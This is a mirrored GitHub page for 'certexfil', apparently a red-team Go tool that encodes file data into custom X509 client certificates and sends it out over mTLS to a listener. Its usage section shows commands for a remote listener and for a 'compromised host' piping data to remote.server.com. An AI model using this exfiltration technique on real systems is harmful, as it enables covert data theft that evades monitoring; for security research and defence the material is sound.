GithubHelp home page GithubHelp logo

sourcefrenchy / certexfil Goto Github PK

View Code? Open in Web Editor NEW
25.0 2.0 4.0 38 KB

Exfiltration based on custom X509 certificates

License: MIT License

Go 100.00%
exfiltration redteam pentesting redteaming leakage payload certificate certs mtls pem

certexfil's Introduction

X509 Digital Certificate Exfiltration Exploration

Overview

This project represents my initial venture into the Go programming language, focusing on data exfiltration techniques and their countermeasures. The primary goal is to develop a fun way to hide data by encoding a payload into a custom x509 digital certificate by reading from a file.

For an in-depth discussion on the topic, refer to my Medium article: Abusing Certificates for Data Exfiltration.

For those unfamiliar with the concepts of certificates and mutual TLS (mTLS), I recommend the following resources for a thorough understanding:

Certexfil operates in three modes: CA generation, client, and listener.

  • --ca initializes a CA for certificate creation and authentication.
  • --payload incorporates a file payload into a new client certificate for mTLS with a listener service.
  • --listen launches a service that validates mTLS clients and extracts embedded payloads.

Usage

Setting Up CA and Listener on a Remote Server

To create server_cert.pem and server_key.pem for mTLS:

somewhere$ certexfil -ca -ecdsa-curve P521 --host remote.host.com

Ensure the certexfil binary and ./CERTS directory are on your remote server. Then, initiate the mTLS listener:

remoteserver$ ./certexfil --listen

Client or Simulated Compromised Host

Embedding output as a payload:

06:46:00 jma@wintermute Go-Workspace → echo 'w00t w00t' | certexfil --host remote.server.com  --payload -
2019/05/31 18:48:27 [*] Reading from stdin..
2019/05/31 18:48:27 [D] Payload (raw)  --> w00t w00t...	(9 bytes)
2019/05/31 18:48:27 [D] Payload (Prepare()) --> �...		(31 bytes)
2019/05/31 18:48:27 [*] Generated custom cert with payload
Oo

Contact

  • @Sourcefrenchy

certexfil's People

Contributors

sourcefrenchy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

certexfil's Issues

Add ability to specify proxy or import proxy settings

It would be good to have the ability to support proxy either through grabbing the system settings (Windows), or respecting the http_proxy/https_proxy env variables. Alternatively, allow the proxy to be specified as a command line option.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.